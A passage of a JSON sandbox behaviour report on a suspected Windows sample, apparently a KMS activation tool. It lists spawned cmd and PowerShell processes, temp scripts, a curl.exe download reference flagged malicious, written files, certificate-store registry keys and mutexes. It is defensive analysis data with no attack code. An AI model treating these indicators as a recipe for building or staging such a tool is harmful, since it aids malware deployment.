)\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007760"},{"pid":5288,"ppid":6876,"name":"powershell.exe","command_line":"& \\\"%TEMP%\\s_w.ps1\\\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006876","uid":"00000000-00005288"},{"pid":1016,"ppid":5288,"name":"cscript.exe","command_line":"slmgr.vbs /dlv","sha256":"6d607a3f1baa41b962d011447117215d005da42332c19c3d0fc613bde95e3125","normalized_path":"%WINDIR%\\system32\\cscript.exe","parent_uid":"00000000-00005288","uid":"00000000-00001016"},{"pid":7852,"ppid":6876,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\s_o.cmd\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006876","uid":"00000000-00007852"},{"pid":6664,"ppid":0,"name":"MsiExec.exe","command_line":"-Embedding CD7DA549162E5E6097C38150C2FB72E2 E Global\\MSI0000","sha256":"5a31ea6a517a065166fafa01a0ac6a350d0e2dcba1b6dd4fdb41ae59109568e1","normalized_path":"%WINDIR%\\System32\\MsiExec.exe","uid":"00000000-00006664","icon":"$86"},{"pid":8756,"ppid":0,"name":"MSI4353.tmp","command_line":"/b 2 300 0","sha256":"22be8934cb869d87fc18901ec5a8774b9fd654910d0cce1e5350e1cca843bc2c","normalized_path":"%WINDIR%\\Installer\\MSI4353.tmp","uid":"00000000-00008756","icon":"$87"},{"pid":6596,"ppid":0,"name":"MsiExec.exe","command_line":"-Embedding E6ED6D62F2556439B4FCC7B20669375F E Global\\MSI0000","sha256":"04de630d6f6cd8888597b55581032d01d6b6f1c26e106e7aae40ce6f2374d865","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","uid":"00000000-00006596","icon":"$88"}],"all_imported_dlls":["devobj.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","dnsapi.dll","sechost.dll","oleaut32.dll","WindowsCodecs.dll","dhcpcsvc.dll","user32.dll","msvcp_win.dll","rsaenh.dll","msctf.dll","imagehlp.dll","amsi.dll","winbrand.dll","xmllite.dll","advapi32.dll","uxtheme.dll","cfgmgr32.dll","wintrust.dll","fsutilext.dll","winsta.dll","dhcpcsvc6.dll","winnsi.dll","vbscript.dll","wbemdisp.dll","KernelBase.dll","fltLib.dll","clrjit.dll","crypt32.dll","System.Numerics.ni.dll","sppc.dll","scrrun.dll","ksuser.dll","OpcServices.dll","ws2_32.dll","shell32.dll","iertutil.dll","slc.dll","sxs.dll","ucrtbase_clr0400.dll","mscorlib.ni.dll","sspicli.dll","cmdext.dll","MpOAV.dll","mpr.dll","wshext.dll","scrobj.dll","version.dll","windows.storage.dll","System.Transactions.dll","FWPUCLNT.DLL","ucrtbase.dll","System.Drawing.ni.dll","Windows.StateRepositoryPS.dll","atl.dll","ntdll.dll","System.Management.ni.dll","mskeyprotect.dll","kernel32.dll","mscoreei.dll","urlmon.dll","wldp.dll","ulib.dll","rasapi32.dll","rasadhlp.dll","System.Core.ni.dll","avrt.dll","System.Management.Automation.ni.dll","msasn1.dll","3sg5ZfD9.dll","pwrshsip.dll","cryptsp.dll","DWrite.dll","wbemcomn.dll","msvcrt.dll","imm32.dll","clr.dll","msxml6.dll","rtutils.dll","winhttp.dll","schannel.dll","apphelp.dll","ole32.dll","powrprof.dll","GdiPlus.dll","IPHLPAPI.DLL","framedynos.dll","MSOXMLMF.DLL","fastprox.dll","psapi.dll","System.Windows.Forms.ni.dll","bcrypt.dll","dwmapi.dll","Microsoft.PowerShell.Security.ni.dll","MpClient.dll","mswsock.dll","coml2.dll","Microsoft.Management.Infrastructure.ni.dll","rpcrt4.dll","edputil.dll","ntasn1.dll","vcruntime140_clr0400.dll","clbcatq.dll","OneCoreUAPCommonProxyStub.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","userenv.dll","System.Data.dll","System.Configuration.Install.ni.dll","netutils.dll","mscoree.dll","shlwapi.dll","propsys.dll","dbghelp.dll","rasman.dll","Microsoft.PowerShell.Commands.Management.ni.dll","win32u.dll","System.ni.dll","comctl32.dll","winmm.dll","MMDevAPI.dll","msisip.dll","System.Xml.ni.dll","AppxSip.dll","webengine4.dll","winmmbase.dll","cldapi.dll","aepic.dll","VxSSL64.dll","gdi32full.dll","msIso.dll","nsi.dll","OnDemandConnRouteHelper.dll","gdi32.dll","gpapi.dll","msvcr90.dll","wbemsvc.dll","wmiutils.dll","combase.dll","SHCore.dll","profapi.dll","srvcli.dll","bcryptprimitives.dll","System.Configuration.ni.dll","cryptbase.dll","System.DirectoryServices.ni.dll","System.Data.ni.dll","ntmarta.dll","System.Transactions.ni.dll","secur32.dll","kernel.appcore.dll","wbemprox.dll","wmi2xml.dll","ncrypt.dll","ncryptsslp.dll","System.Web.dll","prxyqry.dll","WYIT7nua.dll","msi.dll","vcruntime140_1.dll","AcLayers.dll","vcruntime140.dll","Windows.StateRepositoryCore.dll","msvcp110_win.dll","AppResolver.dll","CoreUIComponents.dll","virtdisk.dll","TextShaping.dll","CoreMessaging.dll","msvcp140.dll","TextInputFramework.dll","WinTypes.dll","Windows.System.Launcher.dll","BCP47Langs.dll","vcruntime140_1_clr0400.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"m_srv.cmd","sha256":"8a43bb4f362e2b605f49b4c7378f76e2680da46dfb34fc5a138112fc62ecd553","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"curl.exe","sha256":"386f29b6f3c568e653ec32ab5107375a19c0b61c0fe7d7a04ce06aae747bdd9f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"urlref_httpsgithub.comcloud1cybertronwincurlrawmaincurl.exe","sha256":"386f29b6f3c568e653ec32ab5107375a19c0b61c0fe7d7a04ce06aae747bdd9f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"s_w.ps1","sha256":"7c0ef902cb4a713ddca9687e7e2be481ec4ec034816ba51869ca4917c7b87fc7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"inf.cmd","sha256":"cd8d271805a0bb2f0a717a66e5f6467ed5b61a985836025dac7cfd9121441f19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"s_o","sha256":"769cc2ac4a241ff0b6c385d4d611338c07863e79bc785126a9059db7076b5de2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"StartupProfileData-NonInteractive","sha256":"0c88894f8725e40e8553c3fa26ca4d02bc3a2763083c848c02a172c94745ffbb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"OStatus.log","sha256":"2f1c37754e38b4ac70a9559fbfbdbd28feda47f36be9cd9e3ad5bc844ee3feb6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"WStatus.log","sha256":"8f10c4c5cef47807c7283ffe6aa0c2a4cc15348c20a1bc3bbdcc296aad698ac7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"cnf","sha256":"277e2f5c281daea55b3f4b287cb5af16b55d833ee9dcc30cd30d1ce5499857f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"o_WStatus.txt","sha256":"e4531d419d0a8ca57f7bb78f9139e3ee2fca119042bffbb80a85f6b0c6986fa4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"KMSMatrix.exe.log","sha256":"f30b02b0b2de13d67f64c21a962271dfe6a1349695ee4820c870e450c1341c19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"sslkey.txt","sha256":"d7b5afe884a2353decae549ccbdfaafccc97c3e8a2a161d5172c995d6843aff1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"urlref_httpsipinfo.ioip","sha256":"8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"urlref_httpsipinfo.iocountry","sha256":"f85238153cb86e182385eb3ce867fa7fd7d54edae68c4f6a4f0dc9defdc210fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"__PSScriptPolicyTest_fmhzdntd.t3p.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"__PSScriptPolicyTest_jcb5ri4q.zif.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"__PSScriptPolicyTest_emobk2ri.r1d.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"__PSScriptPolicyTest_fwfo1sk1.2gu.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"files_written":[{"path":"%TEMP%\\cnf","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\m_srv.cmd","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\s_w.ps1","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\s_o","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\inf.cmd","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"path":"%TEMP%\\OStatus.log","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%WINDIR%\\SysWOW64\\Elevation.tmp","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fmhzdntd.t3p.ps1","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fwfo1sk1.2gu.psm1","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jcb5ri4q.zif.ps1","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_emobk2ri.r1d.psm1","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\o_WStatus.txt","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%TEMP%\\WStatus.log","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\AcroCEF.exe","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\cef.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\cef_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\cef_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\cef_extensions.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\chrome_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\chrome_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\chrome_elf.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\COPYING.LGPLv2.1.txt","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\libcef.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\resources.pak","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\SingleClientServicesUpdater.exe","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\swiftshader\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\swiftshader\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\vk_swiftshader.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\vk_swiftshader_icd.json","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"path":"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\vulkan-1.dll","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\ALU\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2616:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2616:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:2616:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:2616:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:2616:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:2616:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2616:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2616:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:6552:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6552:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:1580:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:1580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:1580:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:1580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:7460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:7460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:3300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:3300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:3300:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:6404:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:7028:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"Local\\SM0:5180:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:5180:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"SM0:5180:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8108:304:WilStaging_02","sources":[{"report_type":"sand